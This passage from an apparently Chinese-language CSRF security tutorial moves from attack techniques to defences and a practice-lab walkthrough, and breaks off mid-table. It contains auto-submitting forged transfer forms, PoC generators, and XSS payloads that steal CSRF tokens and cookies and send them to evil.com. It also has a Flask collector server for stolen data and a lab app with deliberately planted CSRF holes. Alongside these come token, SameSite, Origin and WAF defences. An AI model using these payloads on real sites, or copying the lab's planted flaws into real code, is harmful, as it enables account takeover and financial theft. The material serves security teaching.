    <script>history.pushState('', '', '/')</script>
    <form action="http://target.com/api/transfer" method="POST">
    <input type="hidden" name="to" value="attacker" />
    <input type="hidden" name="amount" value="10000" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    8.2 CSRF Tester使用

    OWASP CSRF Tester是一个专门用于CSRF测试的工具:

    功能说明
    请求捕获 代理捕获浏览器请求
    POC生成 自动生成HTML PoC
    参数修改 修改请求参数
    批量测试 测试多个请求
    Token检测 自动识别Token参数

    8.3 自定义CSRF扫描脚本

    以下Python脚本用于自动化检测CSRF漏洞:

    #!/usr/bin/env python3
    """
    CSRF漏洞自动扫描脚本
    功能:分析HTTP请求,检测是否存在CSRF防护
    """

    import requests
    from urllib.parse import urlparse, parse_qs
    import re

    class CSRFScanner:
    def __init__(self, target_url, session_cookie):
    self.target_url = target_url
    self.session = requests.Session()
    self.session.cookies.update({"session": session_cookie})
    self.results = []

    def analyze_request(self, method="GET", params=None, data=None, headers=None):
    """分析请求是否存在CSRF防护"""
    findings = {
    "url": self.target_url,
    "method": method,
    "has_csrf_token": False,
    "token_location": None,
    "checks_origin": False,
    "checks_referer": False,
    "samesite_cookie": False,
    "vulnerable": False,
    "risk_level": "Unknown"
    }

    # 发送初始请求
    resp = self.session.request(
    method, self.target_url,
    params=params, data=data, headers=headers
    )

    # 检查1:CSRF Token
    token_patterns = [
    r'csrf[_-]?token',
    r'authenticity[_-]?token',
    r'__requestverificationtoken',
    r'csrf[_-]?key',
    r'XSRF[_-]?TOKEN',
    r'_token',
    r'nonce'
    ]

    # 在请求参数中检查Token
    all_params = {}
    if params:
    all_params.update(params)
    if data:
    all_params.update(data)

    for key in all_params:
    for pattern in token_patterns:
    if re.search(pattern, key, re.IGNORECASE):
    findings["has_csrf_token"] = True
    findings["token_location"] = f"参数: {key}"
    break

    # 在HTML响应中检查Token
    token_in_html = False
    for pattern in token_patterns:
    if re.search(pattern, resp.text, re.IGNORECASE):
    token_in_html = True
    findings["token_location"] = "HTML隐藏域"
    break

    # 检查2:Origin/Referer验证
    # 发送不带Referer的请求
    resp_no_ref = self.session.request(
    method, self.target_url,
    params=params, data=data,
    headers={"Referer": ""}
    )

    # 发送带恶意Referer的请求
    resp_evil_ref = self.session.request(
    method, self.target_url,
    params=params, data=data,
    headers={"Referer": "http://evil.com/csrf"}
    )

    if resp.status_code == 200 and resp_no_ref.status_code == 403:
    findings["checks_referer"] = True
    if resp.status_code == 200 and resp_evil_ref.status_code == 403:
    findings["checks_origin"] = True

    # 检查3:SameSite Cookie
    for cookie in self.session.cookies:
    if cookie.name == "session" or "auth" in cookie.name.lower():
    if cookie.has_nonstandard_attr('samesite'):
    findings["samesite_cookie"] = True

    # 综合判断漏洞
    if not findings["has_csrf_token"] and not findings["checks_origin"] and not findings["checks_referer"]:
    findings["vulnerable"] = True
    findings["risk_level"] = "高危"
    elif findings["has_csrf_token"] and not findings["checks_origin"]:
    findings["risk_level"] = "中危(Token可绕过)"
    else:
    findings["risk_level"] = "低危"

    self.results.append(findings)
    return findings

    def generate_poc(self, method, data):
    """生成CSRF PoC HTML"""
    form_fields = ""
    for key, value in (data or {}).items():
    form_fields += f' <input type="hidden" name="{key}" value="{value}">\\n'

    poc = f"""<!DOCTYPE html>
    <html>
    <head><title>Loading…</title></head>
    <body>
    <form id="csrf_form" action="
    {self.target_url}" method="{method}">
    {form_fields} </form>
    <script>document.getElementById('csrf_form').submit();</script>
    </body>
    </html>"""

    return poc

    def report(self):
    """输出扫描报告"""
    print("\\n" + "=" * 60)
    print("CSRF漏洞扫描报告")
    print("=" * 60)
    for r in self.results:
    print(f"\\nURL: {r['url']}")
    print(f"方法: {r['method']}")
    print(f"CSRF Token: {'有' if r['has_csrf_token'] else '无'} ({r['token_location']})")
    print(f"Origin验证: {'有' if r['checks_origin'] else '无'}")
    print(f"Referer验证: {'有' if r['checks_referer'] else '无'}")
    print(f"SameSite Cookie: {'有' if r['samesite_cookie'] else '无'}")
    print(f"漏洞状态: {'存在CSRF' if r['vulnerable'] else '可能有防护'}")
    print(f"风险等级: {r['risk_level']}")

    # 使用示例
    if __name__ == "__main__":
    scanner = CSRFScanner(
    target_url="http://target-site.com/api/profile",
    session_cookie="your_session_cookie_here"
    )

    scanner.analyze_request(
    method="POST",
    data={"username": "test", "email": "test@test.com"}
    )

    scanner.report()

    # 生成PoC
    poc_html = scanner.generate_poc("POST", {"username": "hacked", "email": "h@evil.com"})
    with open("csrf_poc.html", "w") as f:
    f.write(poc_html)
    print("\\n[+] PoC已保存到 csrf_poc.html")

    8.4 PoC生成器编写

    通用的CSRF PoC生成器,支持GET和POST类型:

    #!/usr/bin/env python3
    """
    通用CSRF PoC生成器
    支持GET、POST、JSON格式
    """

    import json
    import argparse

    def generate_get_poc(url, params=None):
    """生成GET型CSRF PoC"""
    if params:
    query = "&".join(f"{k}={v}" for k, v in params.items())
    full_url = f"{url}?{query}" if "?" not in url else f"{url}&{query}"
    else:
    full_url = url

    return f"""<!DOCTYPE html>
    <html>
    <head><meta charset="UTF-8"><title>页面加载中</title></head>
    <body>
    <img src="
    {full_url}" style="display:none;">
    <script>new Image().src="
    {full_url}&_t="+Date.now();</script>
    </body>
    </html>"""

    def generate_post_poc(url, data=None):
    """生成POST型CSRF PoC"""
    fields = ""
    if data:
    for k, v in data.items():
    fields += f' <input type="hidden" name="{k}" value="{v}">\\n'

    return f"""<!DOCTYPE html>
    <html>
    <head><meta charset="UTF-8"><title>页面加载中</title></head>
    <body>
    <form id="f" action="
    {url}" method="POST" target="h">
    {fields} </form>
    <iframe name="h" style="display:none;"></iframe>
    <script>document.getElementById('f').submit();</script>
    </body>
    </html>"""

    def generate_json_poc(url, json_data=None):
    """生成JSON型CSRF PoC(text/plain方式)"""
    payload = json.dumps(json_data) if isinstance(json_data, dict) else json_data
    # 利用text/plain编码拼接JSON
    name_part = payload[:–1] + ',"padding":"'
    value_part = 'padding"}'

    return f"""<!DOCTYPE html>
    <html>
    <head><meta charset="UTF-8"><title>页面加载中</title></head>
    <body>
    <form id="f" action="
    {url}" method="POST" enctype="text/plain">
    <input type="hidden" name='
    {name_part}' value='{value_part}'>
    </form>
    <iframe name="h" style="display:none;"></iframe>
    <script>document.getElementById('f').submit();</script>
    </body>
    </html>"""

    def main():
    parser = argparse.ArgumentParser(description="CSRF PoC生成器")
    parser.add_argument("-u", "–url", required=True, help="目标URL")
    parser.add_argument("-m", "–method", default="POST", choices=["GET", "POST", "JSON"])
    parser.add_argument("-d", "–data", help="请求数据(key=value格式,多个用&分隔)")
    parser.add_argument("-o", "–output", default="csrf_poc.html", help="输出文件")

    args = parser.parse_args()

    # 解析参数
    params = {}
    if args.data:
    for pair in args.data.split("&"):
    if "=" in pair:
    k, v = pair.split("=", 1)
    params[k] = v

    if args.method == "GET":
    poc = generate_get_poc(args.url, params)
    elif args.method == "POST":
    poc = generate_post_poc(args.url, params)
    else:
    poc = generate_json_poc(args.url, params)

    with open(args.output, "w", encoding="utf-8") as f:
    f.write(poc)
    print(f"[+] {args.method}型CSRF PoC已生成: {args.output}")

    if __name__ == "__main__":
    main()

    九、CSRF与XSS组合攻击

    9.1 XSS窃取Token后CSRF利用

    当目标站点同时存在XSS和CSRF防护(Token)时,攻击者可以通过XSS窃取CSRF Token,然后构造有效的CSRF请求:

    /*
    * XSS窃取CSRF Token并执行CSRF
    * 前提:目标页面存在XSS漏洞
    */

    // 方式1:从DOM中提取Token
    function stealTokenFromDOM() {
    // 从meta标签获取
    var meta = document.querySelector('meta[name="csrf-token"]');
    if (meta) return meta.getAttribute('content');

    // 从隐藏表单域获取
    var input = document.querySelector('input[name="csrf_token"]');
    if (input) return input.value;

    // 从全局变量获取
    if (window.csrfToken) return window.csrfToken;

    return null;
    }

    // 方式2:从Cookie获取Double Submit Cookie
    function stealTokenFromCookie() {
    var match = document.cookie.match(/(?:^|;\\s*)XSRF-TOKEN=([^;]+)/);
    return match ? decodeURIComponent(match[1]) : null;
    }

    // 使用窃取的Token发起CSRF
    function executeCSRFWithToken(token) {
    var form = document.createElement('form');
    form.action = '/api/transfer';
    form.method = 'POST';

    var inputs = {
    'to': 'attacker_account',
    'amount': '10000',
    'csrf_token': token // 使用窃取的Token
    };

    for (var name in inputs) {
    var input = document.createElement('input');
    input.type = 'hidden';
    input.name = name;
    input.value = inputs[name];
    form.appendChild(input);
    }

    document.body.appendChild(form);
    form.submit();
    }

    // 执行攻击链
    var token = stealTokenFromDOM() || stealTokenFromCookie();
    if (token) {
    executeCSRFWithToken(token);
    }

    9.2 XSS写入CSRF PoC自动提交

    XSS可以直接在同源页面中构造CSRF PoC,由于是同源请求,天然绕过所有CSRF防御:

    /*
    * XSS在同源页面直接构造请求
    * 由于是同源,不需要绕过CSRF Token
    * 但如果Token是per-request的,仍需先获取
    */

    // 使用fetch发起同源请求(自动携带Cookie和Token)
    async function sameOriginCSRF() {
    // 获取当前页面的CSRF Token
    var token = document.querySelector('meta[name="csrf-token"]')?.content;

    // 发起转账请求
    var response = await fetch('/api/transfer', {
    method: 'POST',
    credentials: 'include', // 同源自动携带Cookie
    headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': token // 携带正确的Token
    },
    body: JSON.stringify({
    to: 'attacker_account',
    amount: 50000,
    currency: 'CNY'
    })
    });

    var result = await response.json();
    // 将结果外传到攻击者服务器
    new Image().src = 'http://evil.com/collect?data=' +
    encodeURIComponent(JSON.stringify(result));
    }

    sameOriginCSRF();

    9.3 XSS+CSRF组合链式利用

    完整的组合攻击链:

    攻击阶段技术目标
    阶段1 XSS注入 获取在目标站点执行JS的能力
    阶段2 Token窃取 从DOM/Cookie获取CSRF Token
    阶段3 CSRF执行 以受害者身份执行敏感操作
    阶段4 数据外传 将窃取的数据发送到攻击者服务器
    阶段5 持久化 修改密码/绑定邮箱实现持久控制

    9.4 Bypass CSP通过CSRF

    当目标站点部署了CSP(内容安全策略)限制XSS时,攻击者可利用CSRF绕过CSP:

    /*
    * CSP限制内联脚本和外部源
    * 但CSRF是表单提交,不受CSP限制
    * 利用CSRF让浏览器自动提交表单到攻击者控制的域
    * 从而将数据外传(form-action不受CSP script-src限制)
    */

    // 如果CSP不允许fetch到外部域
    // 但form action可能未被CSP限制
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://evil.com/collect'; // 数据外传目标

    // 将要窃取的数据作为表单字段
    var input = document.createElement('input');
    input.name = 'stolen_data';
    input.value = document.cookie; // 或其他敏感数据
    form.appendChild(input);

    document.body.appendChild(form);
    form.submit(); // 浏览器自动提交,不受CSP script-src限制

    9.5 完整组合攻击链

    #!/usr/bin/env python3
    """
    XSS+CSRF组合攻击链 – 服务端接收器
    部署在攻击者服务器上,接收窃取的数据和Token
    """

    from flask import Flask, request, jsonify
    import json
    import datetime

    app = Flask(__name__)
    collected_data = []

    @app.route('/collect', methods=['GET', 'POST'])
    def collect():
    """接收窃取的数据"""
    data = {
    "timestamp": datetime.datetime.now().isoformat(),
    "ip": request.remote_addr,
    "user_agent": request.headers.get('User-Agent', ''),
    "referer": request.headers.get('Referer', ''),
    "data": request.get_data(as_text=True) or dict(request.args) or dict(request.form)
    }
    collected_data.append(data)
    print(f"[+] 收到数据: {json.dumps(data, ensure_ascii=False)}")
    return "OK"

    @app.route('/tokens', methods=['POST'])
    def receive_token():
    """接收窃取的CSRF Token"""
    token = request.form.get('token')
    cookie = request.form.get('cookie')
    print(f"[+] CSRF Token: {token}")
    print(f"[+] Cookie: {cookie}")

    # 立即利用Token发起CSRF
    # 此处可集成自动化的CSRF利用逻辑
    return jsonify({"status": "received", "token": token}))

    @app.route('/dashboard')
    def dashboard():
    """查看收集的数据"""
    return json.dumps(collected_data, ensure_ascii=False, indent=2)

    if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888, debug=True)

    十、CSRF防御方案

    10.1 CSRF Token方案

    CSRF Token是防御CSRF最有效的方案,主要有两种实现模式:

    Synchronizer Token Pattern(同步令牌模式):

    服务端为每个会话生成一个随机Token,存储在服务端Session中。每次表单提交时,客户端将Token作为隐藏域提交,服务端比对Session中的Token与提交的Token是否一致。

    # Python Flask – Synchronizer Token实现
    import secrets
    from flask import Flask, session, render_template, request, abort

    app = Flask(__name__)
    app.secret_key = secrets.token_hex(32)

    def generate_csrf_token():
    """生成CSRF Token并存储在Session中"""
    if 'csrf_token' not in session:
    session['csrf_token'] = secrets.token_hex(32)
    return session['csrf_token']

    @app.route('/form')
    def show_form():
    token = generate_csrf_token()
    return render_template('form.html', csrf_token=token)

    @app.route('/submit', methods=['POST'])
    def submit():
    # 验证CSRF Token
    token = request.form.get('csrf_token')
    if not token or token != session.get('csrf_token'):
    abort(403, description='CSRF Token验证失败')
    # 处理业务逻辑
    return '操作成功'

    # 在模板中注入Token
    @app.context_processor
    def inject_csrf_token():
    return dict(csrf_token=generate_csrf_token)

    Double Submit Cookie Pattern(双重提交Cookie模式):

    Token同时以Cookie和请求参数的形式发送,服务端只需要比对两者是否一致,无需在Session中存储。

    // 前端 – Double Submit Cookie实现
    function getCSRFCookie() {
    var match = document.cookie.match(/csrf_token=([^;]+)/);
    return match ? match[1] : null;
    }

    function setCSRFCookie() {
    var token = generateRandomToken();
    document.cookie = 'csrf_token=' + token + '; path=/; SameSite=Strict';
    return token;
    }

    // 为所有AJAX请求自动添加Token
    function ajaxRequest(url, data) {
    var token = getCSRFCookie();
    return fetch(url, {
    method: 'POST',
    credentials: 'include',
    headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': token // 请求头携带Token
    },
    body: JSON.stringify(data)
    });
    }

    10.2 SameSite Cookie配置

    SameSite属性是浏览器层面的CSRF防御,以下是各级别的配置:

    SameSite值防御强度配置示例适用场景
    Strict 最高 Set-Cookie: session=xxx; SameSite=Strict 纯敏感操作(银行)
    Lax 中高 Set-Cookie: session=xxx; SameSite=Lax 大多数Web应用
    None 无 Set-Cookie: session=xxx; SameSite=None; Secure 第三方Cookie场景

    各语言的SameSite配置:

    // PHP – 设置SameSite
    setcookie('session', $token, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Lax' // 或 'Strict'
    ]);

    // Java – Spring Boot配置SameSite
    @Bean
    public CookieSerializer cookieSerializer() {
    DefaultCookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setCookieName("SESSION");
    serializer.setSameSite("Lax"); // 设置SameSite
    serializer.setUseHttpOnlyCookie(true);
    serializer.setUseSecureCookie(true);
    return serializer;
    }

    // Go – 设置SameSite
    http.SetCookie(w, &http.Cookie{
    Name: "session",
    Value: token,
    Path: "/",
    Domain: ".example.com",
    Secure: true,
    HttpOnly: true,
    SameSite: http.SameSiteLaxMode, // SameSite=Lax
    })

    10.3 Referer验证方案

    # Python – Referer验证中间件
    from urllib.parse import urlparse
    from flask import request, abort

    ALLOWED_REFERER_HOSTS = {'example.com', 'www.example.com'}

    def verify_referer():
    """验证Referer是否来自可信源"""
    referer = request.headers.get('Referer')
    if not referer:
    # 可配置是否允许空Referer
    if request.method == 'POST':
    abort(403, 'Missing Referer header')
    return True

    parsed = urlparse(referer)
    if parsed.hostname not in ALLOWED_REFERER_HOSTS:
    abort(403, 'Invalid Referer')

    # 检查协议
    if parsed.scheme != 'https':
    abort(403, 'Insecure Referer')

    return True

    10.4 Origin头验证

    # Python – Origin头验证(比Referer更可靠)
    def verify_origin():
    """验证Origin头"""
    origin = request.headers.get('Origin')

    # 对于同源请求,Origin可能不存在(部分浏览器对同源GET不发送Origin)
    # 但跨域POST请求一定会发送Origin
    if request.method in ('POST', 'PUT', 'DELETE', 'PATCH'):
    if not origin:
    abort(403, 'Missing Origin header')

    parsed = urlparse(origin)
    if parsed.hostname not in ALLOWED_REFERER_HOSTS:
    abort(403, 'Invalid Origin')

    return True

    10.5 自定义请求头验证

    // 前端 – 为所有AJAX请求添加自定义头
    // 浏览器在跨域简单请求中不会添加自定义头
    // 因此自定义头可作为CSRF标志

    // 使用axios拦截器
    axios.interceptors.request.use(config => {
    config.headers['X-Requested-With'] = 'XMLHttpRequest';
    return config;
    });

    // 使用fetch封装
    function secureFetch(url, options = {}) {
    options.credentials = 'include';
    options.headers = options.headers || {};
    options.headers['X-Requested-With'] = 'XMLHttpRequest';
    return fetch(url, options);
    }

    # 后端 – 验证自定义头
    @app.before_request
    def verify_custom_header():
    if request.method in ('POST', 'PUT', 'DELETE', 'PATCH'):
    if not request.headers.get('X-Requested-With'):
    abort(403, 'Missing custom header')

    10.6 CAPTCHA验证

    对于最高安全级别的操作(如大额转账),应使用CAPTCHA作为二次验证:

    <!– 前端 – 集成reCAPTCHA –>
    <form action="/api/transfer" method="POST">
    <input type="hidden" name="to" value="">
    <input type="number" name="amount" value="">
    <!– reCAPTCHA v3(无感验证) –>
    <input type="hidden" name="recaptcha_response" id="recaptcha">
    <button type="submit">确认转账</button>
    </form>
    <script src="https://www.google.com/recaptcha/api.js"></script>
    <script>
    grecaptcha.ready(function() {
    grecaptcha.execute('SITE_KEY', {action: 'transfer'}).then(function(token) {
    document.getElementById('recaptcha').value = token;
    });
    });
    </script>

    10.7 各语言防御代码示例

    PHP防御示例:

    <?php
    // PHP CSRF防御完整方案
    class CSRFProtection {
    // 生成Token
    public static function generateToken() {
    if (session_status() == PHP_SESSION_NONE) {
    session_start();
    }
    if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
    }

    // 验证Token
    public static function verifyToken() {
    if (session_status() == PHP_SESSION_NONE) {
    session_start();
    }
    $token = $_POST['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
    http_response_code(403);
    die('CSRF验证失败');
    }
    }

    // 输出隐藏域
    public static function tokenField() {
    $token = self::generateToken();
    return '<input type="hidden" name="csrf_token" value="' . $token . '">';
    }
    }

    // 使用
    CSRFProtection::verifyToken();
    echo CSRFProtection::tokenField();

    Java Spring防御示例:

    // Java Spring Boot – 启用CSRF防护
    @Configuration
    public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
    http.csrf()
    .csrfTokenRepository(CookieCsrfTokenRepository.withCookieName("XSRF-TOKEN"))
    .and()
    .authorizeRequests()
    .antMatchers("/public/**").permitAll()
    .anyRequest().authenticated();
    }
    }

    // 前端配合 – Angular自动处理XSRF-TOKEN
    // Spring会自动在Cookie中设置XSRF-TOKEN
    // Angular的HttpClient会自动读取并添加到X-XSRF-TOKEN头

    Node.js Express防御示例:

    // Node.js Express – 使用csurf中间件
    const express = require('express');
    const cookieParser = require('cookie-parser');
    const csrf = require('csurf');

    const app = express();
    app.use(cookieParser());

    // CSRF防护中间件
    const csrfProtection = csrf({
    cookie: {
    key: '_csrf',
    httpOnly: true,
    secure: true,
    sameSite: 'strict'
    }
    });

    // 为所有表单页面生成Token
    app.get('/form', csrfProtection, (req, res) => {
    res.render('form', { csrfToken: req.csrfToken() });
    });

    // 验证CSRF Token
    app.post('/submit', csrfProtection, (req, res) => {
    res.send('操作成功');
    });

    C# ASP.NET Core防御示例:

    // ASP.NET Core – 配置CSRF
    public void ConfigureServices(IServiceCollection services)
    {
    services.AddAntiforgery(options =>
    {
    options.HeaderName = "X-CSRF-TOKEN";
    options.Cookie.Name = "AntiForgeryToken";
    options.Cookie.SameSite = SameSiteMode.Strict;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    });

    services.AddControllersWithViews(options =>
    {
    options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());
    });
    }

    // Controller中手动验证
    [HttpPost]
    [ValidateAntiForgeryToken]
    public IActionResult Transfer(TransferModel model)
    {
    // Token已自动验证
    return Ok("转账成功");
    }

    // API方式 – 从Header读取Token
    [HttpPost]
    public IActionResult ApiTransfer([FromBody] TransferDto dto)
    {
    // 自动验证Header中的Token
    return Ok();
    }

    Go防御示例:

    // Go – CSRF防护中间件
    package main

    import (
    "crypto/rand"
    "encoding/hex"
    "net/http"
    )

    func generateCSRFToken() string {
    b := make([]byte, 32)
    rand.Read(b)
    return hex.EncodeToString(b)
    }

    func csrfMiddleware(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
    // 为GET请求设置Token
    if r.Method == "GET" {
    token := generateCSRFToken()
    http.SetCookie(w, &http.Cookie{
    Name: "csrf_token",
    Value: token,
    Path: "/",
    Secure: true,
    HttpOnly: false, // 前端需要读取
    SameSite: http.SameSiteStrictMode,
    })
    next(w, r)
    return
    }

    // 验证POST请求的Token
    cookie, err := r.Cookie("csrf_token")
    if err != nil {
    http.Error(w, "CSRF Token缺失", http.StatusForbidden)
    return
    }

    formToken := r.Header.Get("X-CSRF-Token")
    if formToken == "" {
    formToken = r.FormValue("csrf_token")
    }

    if cookie.Value != formToken || formToken == "" {
    http.Error(w, "CSRF验证失败", http.StatusForbidden)
    return
    }

    next(w, r)
    }
    }

    10.8 WAF规则配置

    ModSecurity WAF的CSRF防护规则:

    # ModSecurity – CSRF防护规则
    # 检测缺少CSRF Token的POST请求
    SecRule REQUEST_METHOD "@streq POST" \\
    "id:1001,phase:2,pass,nolog,chain"
    SecRule ARGS:csrf_token "!@rx ^[a-f0-9]{64}$" \\
    "id:1002,deny,status:403,msg:'CSRF Token缺失或格式错误'"

    # 检测可疑的Referer
    SecRule HTTP_REFERER "!@rx ^https://[a-z0-9.-]*example\\.com/" \\
    "id:1003,phase:2,deny,status:403,msg:'CSRF可疑Referer',\\
    severity:CRITICAL,log"

    # 检测Origin头(对POST/PUT/DELETE)
    SecRule REQUEST_METHOD "@rx ^(POST|PUT|DELETE|PATCH)$" \\
    "id:1004,phase:2,chain,deny,status:403,msg:'CSRF可疑Origin'"
    SecRule HTTP_ORIGIN "!@rx ^https://[a-z0-9.-]*example\\.com$"

    # 防御CSRF蠕虫 – 检测批量请求
    SecRule IP:CSRF_COUNT "@gt 10" \\
    "id:1005,phase:2,deny,status:429,msg:'CSRF蠕虫疑似行为',\\
    severity:CRITICAL"
    SecRule REQUEST_URI "@rx /api/(transfer|password|email)"

    十一、CSRF检测与测试

    11.1 自动化检测工具

    工具类型功能优缺点
    Burp Suite Pro 商业 CSRF POC生成、自动扫描 功能强大、收费
    OWASP ZAP 开源 自动CSRF检测 免费、准确率中等
    CSRF Tester 开源 专用CSRF测试 专一但较旧
    Arachni 开源 Web漏洞扫描含CSRF 已停止维护
    nuclei 开源 模板化扫描 需自定义CSRF模板
    W3AF 开源 Web应用审计 功能全面但较慢

    11.2 手动测试流程

    步骤操作工具验证点
    1 登录目标站点 浏览器 获取有效会话
    2 捕获敏感请求 Burp Proxy 分析请求参数
    3 检查CSRF Token 请求分析 是否有Token字段
    4 生成PoC Burp POC生成器 构造自动提交表单
    5 在新标签页测试 浏览器 验证PoC是否成功
    6 测试绕过 手动修改 Token/Referer绕过
    7 记录结果 测试报告 漏洞描述和修复建议

    11.3 CSRF测试Checklist

    检查项检查内容预期结果风险等级
    Token存在性 敏感操作是否有CSRF Token 所有POST/PUT/DELETE有Token 高
    Token随机性 Token是否使用安全随机数生成 不可预测 高
    Token验证 服务端是否严格验证Token 不一致时拒绝 高
    Token有效期 Token是否有过期机制 限时有效 中
    Token一次性 Token是否使用后失效 单次有效 中
    Referer检查 是否验证Referer来源 非可信源拒绝 中
    Origin检查 是否验证Origin头 跨域请求拒绝 中
    SameSite Cookie是否设置SameSite Lax或Strict 高
    自定义头 是否要求自定义请求头 跨域无法伪造 中
    GET安全 敏感操作是否使用POST 不使用GET 高
    二次验证 高危操作是否有CAPTCHA 需人工确认 低

    11.4 常见漏洞模式识别

    #!/usr/bin/env python3
    """
    CSRF漏洞模式识别器
    分析HTTP流量自动识别CSRF漏洞模式
    """

    import re

    class CSRFCPattern:
    @staticmethod
    def analyze(request_lines):
    """分析HTTP请求识别CSRF风险"""
    risks = []

    request_str = "\\n".join(request_lines)

    # 模式1:GET请求执行敏感操作
    if re.search(r'GET .*(delete|update|transfer|password|admin)', request_str, re.I):
    risks.append({
    "pattern": "GET型敏感操作",
    "risk": "高危",
    "description": "通过GET请求执行敏感操作,存在CSRF风险"
    })

    # 模式2:POST请求无Token
    if "POST" in request_str:
    has_token = bool(re.search(
    r'(csrf|token|nonce|authenticity)', request_str, re.I))
    if not has_token:
    risks.append({
    "pattern": "POST无CSRF Token",
    "risk": "高危",
    "description": "POST请求中未发现CSRF Token"
    })

    # 模式3:Cookie无SameSite
    if re.search(r'Cookie:.*session', request_str, re.I):
    if not re.search(r'SameSite', request_str, re.I):
    risks.append({
    "pattern": "Cookie缺少SameSite",
    "risk": "中危",
    "description": "会话Cookie未设置SameSite属性"
    })

    # 模式4:JSON API无Origin验证
    if re.search(r'Content-Type:.*application/json', request_str, re.I):
    if not re.search(r'Origin:', request_str, re.I):
    risks.append({
    "pattern": "JSON API缺少Origin验证",
    "risk": "中危",
    "description": "JSON API请求未验证Origin头"
    })

    return risks

    11.5 完整检测方案

    使用nuclei模板进行CSRF扫描:

    # nuclei CSRF检测模板
    id: csrf–detection

    info:
    name: CSRF Vulnerability Detection
    author: security–team
    severity: high

    http:
    – raw:
    – |
    POST /api/profile HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/x-www-form-urlencoded
    Cookie: {{session_cookie}}

    name=test&email=test@test.com

    matchers:
    – type: status
    status:
    – 200
    negative: true # 如果没有Token也返回200,说明存在CSRF
    – type: word
    words:
    – "csrf"
    – "token"
    – "forbidden"
    condition: or
    negative: true

    extractors:
    – type: regex
    regex:
    – 'csrf[_-]?token["\\s:=]+([a-zA-Z0-9_-]+)'

    十二、靶场实战:完整CSRF攻击链

    12.1 靶场环境搭建

    使用Docker快速搭建CSRF靶场:

    # docker-compose.yml – CSRF靶场环境
    version: '3.8'

    services:
    dvwa:
    image: vulnerables/web–dvwa
    ports:
    – "8081:80"
    environment:
    – MYSQL_HOST=dvwa–db
    depends_on:
    – dvwa–db

    dvwa-db:
    image: mysql:5.7
    environment:
    MYSQL_ROOT_PASSWORD: dvwa
    MYSQL_DATABASE: dvwa

    webgoat:
    image: webgoat/webgoat
    ports:
    – "8082:8080"
    – "9001:9001"

    csrf-lab:
    image: python:3.11–slim
    ports:
    – "8083:5000"
    volumes:
    – ./csrf–lab:/app
    command: python /app/app.py

    自建CSRF靶场(Python Flask):

    #!/usr/bin/env python3
    """
    CSRF靶场 – 包含5种不同类型的CSRF漏洞场景
    用于安全学习和攻防演练
    """

    from flask import Flask, request, session, render_template_string, redirect, url_for, jsonify
    import secrets

    app = Flask(__name__)
    app.secret_key = secrets.token_hex(32)

    # 模拟数据库
    users_db = {}
    posts_db = {}
    config_db = {"debug": False, "maintenance": False}

    # 登录装饰器
    def login_required(f):
    def wrapper(*args, **kwargs):
    if 'user' not in session:
    return redirect('/login')
    return f(*args, **kwargs)
    wrapper.__name__ = f.__name__
    return wrapper

    # 场景1:GET型CSRF – 修改密码
    @app.route('/pwd/change')
    @login_required
    def change_password():
    new_pwd = request.args.get('new_password', '')
    users_db[session['user']]['password'] = new_pwd
    return '密码修改成功'

    # 场景2:POST型CSRF – 转账(无Token)
    @app.route('/transfer', methods=['POST'])
    @login_required
    def transfer():
    to = request.form.get('to', '')
    amount = request.form.get('amount', 0)
    return f'转账{amount}元到{to}成功'

    # 场景3:POST型CSRF – 发帖(有Token但可绕过)
    @app.route('/post/create', methods=['POST'])
    @login_required
    def create_post():
    token = request.form.get('csrf_token', '')
    # 故意留下的漏洞:Token为空时跳过验证
    if token == '' or token == 'null':
    pass # 跳过验证
    elif token != session.get('csrf_token'):
    return 'CSRF验证失败', 403

    content = request.form.get('content', '')
    posts_db[len(posts_db)] = {'user': session['user'], 'content': content}
    return '发帖成功'

    # 场景4:JSON型CSRF – 修改配置
    @app.route('/api/config', methods=['POST'])
    @login_required
    def update_config():
    # 故意不检查Content-Type和Origin
    import json
    try:
    data = request.get_json(force=True, silent=True) or dict(request.form)
    config_db.update(data)
    return jsonify({"status": "success", "config": config_db})
    except Exception:
    return jsonify({"status": "error"}), 400

    # 场景5:Referer验证可绕过
    @app.route('/email/change', methods=['POST'])
    @login_required
    def change_email():
    referer = request.headers.get('Referer', '')
    # 故意留下的漏洞:Referer检查包含关键词即可
    if 'target' in referer or referer == '':
    email = request.form.get('email', '')
    users_db[session['user']]['email'] = email
    return '邮箱修改成功'
    return 'Referer验证失败', 403

    if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

    12.2 从发现到利用的完整流程

    以下逐步演示5种不同类型CSRF场景的完整利用过程:

    场景1:GET型CSRF – 修改密码

    步骤操作详细说明
    发现 访问修改密码功能 发现通过GET请求修改密码
    确认 抓包分析 无Token、无二次验证
    构造 生成img标签PoC <img src="/pwd/change?new_password=hack123">
    利用 部署PoC页面 诱导用户访问
    验证 检查密码是否修改 使用新密码登录成功

    场景2:POST型CSRF – 转账

    步骤操作详细说明
    发现 测试转账功能 POST请求无CSRF Token
    确认 跨域提交表单 服务端正常处理
    构造 自动提交表单PoC 隐藏表单+iframe+JS
    利用 发送钓鱼链接 用户打开后自动转账
    验证 检查账户余额 金额已转出

    场景3:POST型CSRF – 发帖(Token绕过)

    步骤操作详细说明
    发现 发帖需要Token 存在csrf_token字段
    测试绕过 删除Token提交 服务端空值跳过验证
    构造 不带Token的PoC 表单中不包含csrf_token
    利用 诱导用户访问 自动以用户身份发帖
    验证 检查帖子是否发布 帖子已发布成功

    场景4:JSON型CSRF – 修改配置

    步骤操作详细说明
    发现 配置API接受JSON Content-Type为application/json
